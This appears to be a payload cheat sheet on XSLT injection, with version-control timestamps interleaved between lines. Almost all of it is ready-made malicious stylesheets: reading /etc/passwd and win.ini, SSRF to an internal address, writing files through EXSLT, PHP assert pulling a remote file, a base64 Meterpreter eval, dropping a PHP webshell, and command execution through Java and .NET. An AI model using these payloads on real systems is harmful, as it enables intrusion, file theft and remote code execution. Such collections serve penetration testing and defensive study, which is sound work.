2019-12-17 20:13:59 +00:00
# XSLT Injection
2022-08-09 09:02:21 +00:00
> Processing an un-validated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
2019-12-17 20:13:59 +00:00
## Summary
2024-11-07 22:50:30 +00:00
- [Summary ](#summary )
- [Tools ](#tools )
- [Exploit ](#exploit )
2022-08-09 09:02:21 +00:00
- [Determine the vendor and version ](#determine-the-vendor-and-version )
- [External Entity ](#external-entity )
- [Read files and SSRF using document ](#read-files-and-ssrf-using-document )
2024-05-30 22:07:21 +00:00
- [Write files with EXSLT extension ](#write-files-with-exslt-extension )
2022-08-09 09:02:21 +00:00
- [Remote Code Execution with PHP wrapper ](#remote-code-execution-with-php-wrapper )
- [Remote Code Execution with Java ](#remote-code-execution-with-java )
- [Remote Code Execution with Native .NET ](#remote-code-execution-with-native-net )
2024-11-07 22:50:30 +00:00
- [References ](#references )
2019-12-17 20:13:59 +00:00
## Tools
## Exploit
### Determine the vendor and version
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/fruits" >
< xsl:value-of select = "system-property('xsl:vendor')" / >
< / xsl:template >
< / xsl:stylesheet >
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body >
< br / > Version: < xsl:value-of select = "system-property('xsl:version')" / >
< br / > Vendor: < xsl:value-of select = "system-property('xsl:vendor')" / >
< br / > Vendor URL: < xsl:value-of select = "system-property('xsl:vendor-url')" / >
< / body >
< / html >
```
### External Entity
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C: \secretfruit.txt"> ]>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/fruits" >
Fruits &ext_file; :
<!-- Loop for each fruit -->
< xsl:for-each select = "fruit" >
<!-- Print name: description -->
- < xsl:value-of select = "name" /> : < xsl:value-of select = "description" />
< / xsl:for-each >
< / xsl:template >
< / xsl:stylesheet >
```
### Read files and SSRF using document
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/fruits" >
< xsl:copy-of select = "document('http://172.16.132.1:25')" / >
< xsl:copy-of select = "document('/etc/passwd')" / >
< xsl:copy-of select = "document('file:///c:/winnt/win.ini')" / >
Fruits:
<!-- Loop for each fruit -->
< xsl:for-each select = "fruit" >
<!-- Print name: description -->
- < xsl:value-of select = "name" /> : < xsl:value-of select = "description" />
< / xsl:for-each >
< / xsl:template >
< / xsl:stylesheet >
```
2024-05-30 22:07:21 +00:00
### Write files with EXSLT extension
2019-12-17 20:13:59 +00:00
2024-05-30 22:07:21 +00:00
EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language.
2019-12-17 20:13:59 +00:00
2024-05-30 22:07:21 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
< xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
< xsl:template match = "/" >
< exploit:document href = "evil.txt" method = "text" >
Hello World!
< / exploit:document >
2019-12-17 20:13:59 +00:00
< / xsl:template >
< / xsl:stylesheet >
```
2024-05-30 22:07:21 +00:00
2019-12-17 20:13:59 +00:00
### Remote Code Execution with PHP wrapper
Execute the function `readfile` .
```xml
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body >
< xsl:value-of select = "php:function('readfile','index.php')" / >
< / body >
< / html >
```
Execute the function `scandir` .
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" version = "1.0" >
2024-05-30 22:07:21 +00:00
< xsl:template match = "/" >
< xsl:value-of name = "assert" select = "php:function('scandir', '.')" / >
< / xsl:template >
2019-12-17 20:13:59 +00:00
< / xsl:stylesheet >
```
2019-12-26 11:09:23 +00:00
Execute a remote php file using `assert`
```xml
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
2024-05-30 22:07:21 +00:00
< xsl:variable name = "payload" >
include("http://10.10.10.10/test.php")
< / xsl:variable >
< xsl:variable name = "include" select = "php:function('assert',$payload)" / >
2019-12-26 11:09:23 +00:00
< / body >
< / html >
```
2019-12-17 20:13:59 +00:00
Execute a PHP meterpreter using PHP wrapper.
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" version = "1.0" >
2024-05-30 22:07:21 +00:00
< xsl:template match = "/" >
< xsl:variable name = "eval" >
eval(base64_decode('Base64-encoded Meterpreter code'))
< / xsl:variable >
< xsl:variable name = "preg" select = "php:function('preg_replace', '/.*/e', $eval, '')" / >
< / xsl:template >
2019-12-17 20:13:59 +00:00
< / xsl:stylesheet >
```
2023-10-28 12:47:25 +00:00
Execute a remote php file using `file_put_contents`
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" version = "1.0" >
2024-05-30 22:07:21 +00:00
< xsl:template match = "/" >
< xsl:value-of select = "php:function('file_put_contents','/var/www/webshell.php','<?php echo system($_GET["command"]); ?>')" / >
< / xsl:template >
2023-10-28 12:47:25 +00:00
< / xsl:stylesheet >
```
2019-12-17 20:13:59 +00:00
### Remote Code Execution with Java
```xml
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:rt = "http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob = "http://xml.apache.org/xalan/java/java.lang.Object" >
< xsl:template match = "/" >
< xsl:variable name = "rtobject" select = "rt:getRuntime()" / >
< xsl:variable name = "process" select = "rt:exec($rtobject,'ls')" / >
< xsl:variable name = "processString" select = "ob:toString($process)" / >
< xsl:value-of select = "$processString" / >
< / xsl:template >
< / xsl:stylesheet >
```
```xml
< xml version = "1.0" ? >
< xsl:stylesheet version = "2.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:java = "http://saxon.sf.net/java-type" >
< xsl:template match = "/" >
< xsl:value-of select = "Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime = "java:java.lang.Runtime" / >
< / xsl:template > .
< / xsl:stylesheet >
```
### Remote Code Execution with Native .NET
```xml
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:msxsl = "urn:schemas-microsoft-com:xslt" xmlns:App = "http://www.tempuri.org/App" >
< msxsl:script implements-prefix = "App" language = "C#" >
< ![CDATA[
public string ToShortDateString(string date)
{
System.Diagnostics.Process.Start("cmd.exe");
return "01/01/2001";
}
]]>
< / msxsl:script >
< xsl:template match = "ArrayOfTest" >
< TABLE >
< xsl:for-each select = "Test" >
< TR >
< TD >
< xsl:value-of select = "App:ToShortDateString(TestDate)" / >
< / TD >
< / TR >
< / xsl:for-each >
< / TABLE >
< / xsl:template >
2024-05-30 22:07:21 +00:00
< / xsl:stylesheet >
2019-12-17 20:13:59 +00:00
```
2024-05-30 22:07:21 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
< msxsl:script language = "C#" implements-prefix = "user" >
< ![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
< / msxsl:script >
< xsl:template match = "/fruits" >
--- BEGIN COMMAND OUTPUT ---
< xsl:value-of select = "user:execute()" / >
--- END COMMAND OUTPUT ---
< / xsl:template >
< / xsl:stylesheet >
```
2019-12-17 20:13:59 +00:00
## References
2024-11-07 22:50:30 +00:00
- [From XSLT code execution to Meterpreter shells - Nicolas Grégoire (@agarri) - July 2, 2012 ](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html )
- [XSLT Injection - Fortify - January 16, 2021 ](http://web.archive.org/web/20210116001237/https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection )
- [XSLT Injection Basics - Saxon - Hunnic Cyber Team - August 21, 2019 ](http://web.archive.org/web/20190821174700/https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/ )
- [Getting XXE in Web Browsers using ChatGPT - Igor Sak-Sakovskiy - May 22, 2024 ](https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/ )
- [XSLT injection lead to file creation - PT SWARM (@ptswarm) - May 30, 2024 ](https://twitter.com/ptswarm/status/1796162911108255974/photo/1 )